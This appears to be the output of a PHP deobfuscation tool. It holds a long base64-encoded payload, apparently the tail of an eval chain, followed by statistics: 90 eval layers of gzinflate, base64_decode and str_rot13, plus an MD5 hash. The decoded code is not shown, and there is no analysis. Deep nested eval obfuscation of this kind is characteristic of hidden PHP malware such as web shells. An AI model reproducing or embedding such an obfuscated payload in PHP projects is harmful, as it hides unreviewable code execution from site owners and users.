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'))); ?>

Function Calls

gzinflate 90
str_rot13 45
base64_decode 90

Variables

None

Stats

MD5 88ba1db72079ba863855a679b229fed3
Eval Count 90
Decode Time 8270 ms